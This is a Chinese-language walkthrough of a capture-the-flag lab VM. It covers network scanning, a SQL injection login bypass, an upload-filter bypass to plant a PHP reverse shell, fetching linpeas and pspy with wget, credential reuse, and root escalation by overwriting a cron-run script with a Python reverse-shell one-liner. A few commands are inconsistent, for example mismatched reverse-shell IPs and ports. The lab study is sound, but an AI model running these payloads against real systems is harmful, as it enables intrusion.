文章目录
- 主机发现
- 端口扫描
- 搜索SSH EXP
- web渗透
- nikto扫描
- 目录扫描
- 登录网站后台
- 提权
主机发现
使用nmap
扫描局域网内存活的主机,命令如下:
nmap -sP 192.168.56.0/24
- 192.168.56.1:主机IP;
- 192.168.56.100:DHCP服务器IP;
- 192.168.56.101:Kali IP;
- 192.168.56.105:靶机IP。
或者使用netdiscover
通过ARP数据包扫描网段,命令如下:
netdiscover -i eth0 -r 192.168.56.0/24
-i
指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r
:扫描范围。
端口扫描
使用nmap
对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.56.105 -oN scan.txt
-oN
:以txt文本格式输出nmap扫描结果。
只有发现靶机开放了22端口(ssh服务)和80端口(web服务)。web服务的中间件是apache 2.4.18。
搜索SSH EXP
使用searchsploit
搜索ssh历史漏洞,发现只有用户名枚举,意义不大。
web渗透
nikto扫描
22端口没有可利用的漏洞,只能在web上找到突破口,首先用nikto
对网站进行扫描,看是否有低级的漏洞。
nikto -host http://192.168.56.105
检测出apache版本,还有一些跨站的信息,对我们来说意义不大。
目录扫描
使用dirsearch
进行目录扫描。命令如下:
dirsearch -u http://192.168.56.105 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
或者使用gobuster
,命令如下:
dirsearch dir -u http://192.168.56.105 -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
http状态码的含义:
- 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
- 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
- 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问。
访问http://192.168.56.105/index.php
,发现是一个静态网站,然后访问目录扫描的路径(两个扫描结果,状态码:301)的时候,其实没有实际上返回403。
需要注意的是,dirsearch
扫出了一个masteradmin
路径,这个路径有admin
,可能是一个对我们有用的信息,再用dirsearch
或gobuster
扫描masteradmin
这个路径。命令如下:
dirsearch -u http://192.168.56.105/masteradmin -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
登录网站后台
扫出了后台http://192.168.56.105/masteradmin.login.php
。碰到后台登录框,先测试SQL注入。
username='&password=' # 显示username and password invalid
username=a&password=a # 显示username and password invalid,判断是不是真的做了过滤
username=' or 1=1 --+&password=' or 1=1 --+ # 万能密码,登陆成功
前台显示用户名密码invalid,有两种情况
- 后端代码真的做了过滤,过滤掉非法字符;
- sql语句是以分号为间隔来检测有没有报错,一旦某个语句出现错误,部分程序会catch这个异常,并返回给前端用户名invalid。
这里直接上传一个php脚本,发现这里采用了白名单限制,只允许文件后缀为.ceng
的文件,既然白名单,我们只能将后缀改为.ceng
,再访问上传的文件,看能不能被解析为php文件,不能就再说。
将文件名改为1.ceng
,成功上传~
因为前期目录扫描的时候发现了一个uploads
目录,可以猜测刚刚上传的文件应该上传到了uploads
目录里,直接访问http://192.168.56.105/uploads/1.ceng
发现能够执行php脚本,再重新上传一个php reverse shell脚本,更改ip和端口。php-reverse-shell
#修改内容
$ip=192.168.56.105;
$port=4444;
在kali上监听4444端口,命令如下:
nc -nlvp 4444
再访问http://192.168.56.105/uploads/shell.ceng
,成功反弹shell~
提权
登录到主机后,做以下事情:
1、 到home
目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;
该主机存在一个用户cengover
,还有一个隐藏文件夹.ecryptfs
。
发现当前用户不可读。(其实后面的几步都不用看,这里只是完整表达登录主机后该做的事情。)
2、搜索具备SUID权限的程序,命令如下:
find / -perm -u=s -type f 2>/dev/null
这里没有有用的文件。
3、查看定时任务,命令如下:
cat /etc/crontab
这里也没有有用的定时任务。
4、查看当前进程信息,命令如下:
ps -ef //显示所有命令,连带命令行
也是没有什么有用的信息。
下载自动化提权脚本linPEAS,首先将Linpeas脚本下载到kali上,再部署http服务,命令:
python3 -m http.server 80
在靶机上通过web服务下载linpeas脚本,命令:
wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本
wget http://xxx
是下载命令,curl http://xxx
是将网站内容返回到命令行中。
首先,根据提示:红色是需要重点关注的对象。
能力问题,没有发现太多有用的东西。使用uname -a
查看系统是多少位的,靶机64位
使用同样的方法,往靶机上上传papy64
wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本
系统上有些定时任务并不是通过操作系统(linux,
/etc/crontab
)进行配置,而pspy
脚本会检测系统中运行的进程。
UID=0
,表示root
用户;/bin/sh -c
,-c
命令表示后面的参数将会作为字符串读入作为执行的命令。故/bin/sh -c /usr/bin/python3 /opt/md5check.py
其实就是python3 md5check.py
。
系统每隔一分钟执行md5check.py
这个文件(还不知道这个时间的含义,这个时间是系统是时间,可能跟我们实际时间不一样),去看看这个文件~该文件只允许root用户和users组的用户读写,而当前用户及当前用户所属的组均是www-data
。说明我们必须切换到/home/cengover
这个用户,但问题是cengover
用户的密码我们不知道。
靶机上存在web服务,就说明应该会有数据库,不然之前怎么登录到后台的呢
cd /var/www/html
cd masteradmin
ls -al
mysql -uroot -p
在db.php
中,我们发现了数据库的用户名和密码~,尝试登录mysql数据库,
发现没有回显,这种情况可能是非交互shell的原因,试试建立一个半交互式shell;
使用命令建立半交互式shell,成功登录到mysql数据库中~
python -c 'import pty; pty.spawn("/bin/bash")' # 获取半交互式shell
mysql -uroot -p # 登录mysql数据库
show databases; # 查看数据库;
use cengbox; # 进入cengbox这个数据库
show tables; # 查看cengbox这个数据库里的表
select * from admin; 查看admin表的内容
按道理来说,这个
masteradmin
的密码应该是网站后台的密码。试下cengover
用户的密码是不是也是masteradmin
的密码。
su cengover
切换到cengover
用户,切换成功~
因为之前通过pspy64
发现系统会在每分钟的01秒执行md5check.py
文件,执行者为root,所以只要我们修改md5check.py
文件的内容为一个python reverser shell就可以将root用户的shell反弹到kali上。快速生成shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -nlvp 5555 # kali上监听5555端口
./pspy64 # 执行pspy脚本查看系统进程
成功拿到flag~